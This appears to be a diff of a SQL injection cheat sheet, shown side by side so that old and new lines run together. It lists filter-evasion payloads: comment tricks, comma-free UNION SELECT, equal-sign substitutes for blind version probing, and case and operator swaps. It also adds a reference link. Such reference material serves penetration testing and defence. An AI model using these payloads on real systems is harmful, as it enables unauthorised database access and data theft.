| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 | | MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
Bypass using comments and parenthesis.
| Bypass | Technique |
| ----------------------------------------- | -------------------- |
| `?id=1/*comment*/AND/**/1=1/**/--` | Comment |
| `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment |
| `?id=(1)and(1)=(1)--` | Parenthesis |
### No Comma Allowed ### No Comma Allowed
Bypass using OFFSET, FROM and JOIN Bypass using `OFFSET`, `FROM` and `JOIN`.
```sql | Forbidden | Bypass |
LIMIT 0,1 -> LIMIT 1 OFFSET 0 | ------------------- | ------ |
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). | `LIMIT 0,1` | `LIMIT 1 OFFSET 0` |
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d | `SUBSTR('SQL',1,1)` | `SUBSTR('SQL' FROM 1 FOR 1)` |
``` | `SELECT 1,2,3,4` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d` |
### No Equal Allowed ### No Equal Allowed
Bypass using LIKE/NOT IN/IN/BETWEEN Bypass using LIKE/NOT IN/IN/BETWEEN
```sql
?id=1 and substring(version(),1,1)like(5) | Bypass | SQL Example |
?id=1 and substring(version(),1,1)not in(4,3) | --------- | ------------------------------------------ |
?id=1 and substring(version(),1,1)in(4,3) | `LIKE` | `SUBSTRING(VERSION(),1,1)LIKE(5)` |
?id=1 and substring(version(),1,1) between 3 and 4 | `NOT IN` | `SUBSTRING(VERSION(),1,1)NOT IN(4,3)` |
``` | `IN` | `SUBSTRING(VERSION(),1,1)IN(4,3)` |
| `BETWEEN` | `SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4` |
### Case modification ### Case Modification
* Bypass using uppercase/lowercase (see keyword AND) Bypass using uppercase/lowercase.
```sql
?id=1 AND 1=1# | Bypass | Technique |
?id=1 AnD 1=1# | --------- | ---------- |
?id=1 aNd 1=1# | `AND` | Uppercase |
``` | `and` | Lowercase |
* Bypass using keywords case insensitive / Bypass using an equivalent operator | `aNd` | Mixed case |
```sql
AND -> &&
OR -> || Bypass using keywords case insensitive or an equivalent operator.
= -> LIKE,REGEXP, BETWEEN, not < and not >
> X -> not between 0 and X | Forbidden | Bypass |
WHERE -> HAVING | --------- | --------------------------- |
``` | `AND` | `&&` |
| `OR` | `\|\|` |
| `=` | `LIKE`, `REGEXP`, `BETWEEN` |
| `>` | `NOT BETWEEN 0 AND X` |
| `WHERE` | `HAVING` |
## Labs ## Labs
@ -373,6 +490,7 @@ Bypass using LIKE/NOT IN/IN/BETWEEN
## References ## References
* [Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection - Not So Secure - February 9, 2018](https://web.archive.org/web/20180209143119/https://www.notsosecure.com/analyzing-cve-2018-6376/) * [Analyzing CVE-2018-6376 Joomla!, Second Order SQL Injection - Not So Secure - February 9, 2018](https://web.archive.org/web/20180209143119/https://www.notsosecure.com/analyzing-cve-2018-6376/)
* [Implement a Blind Error-Based SQLMap payload for SQLite - soka - August 24, 2023][https://sokarepo.github.io/web/2023/08/24/implement-blind-sqlite-sqlmap.html]
* [Manual SQL Injection Discovery Tips - Gerben Javado - August 26, 2017](https://gerbenjavado.com/manual-sql-injection-discovery-tips/) * [Manual SQL Injection Discovery Tips - Gerben Javado - August 26, 2017](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* [NetSPI SQL Injection Wiki - NetSPI - December 21, 2017](https://sqlwiki.netspi.com/) * [NetSPI SQL Injection Wiki - NetSPI - December 21, 2017](https://sqlwiki.netspi.com/)
* [PentestMonkey's mySQL injection cheat sheet - @pentestmonkey - August 15, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) * [PentestMonkey's mySQL injection cheat sheet - @pentestmonkey - August 15, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)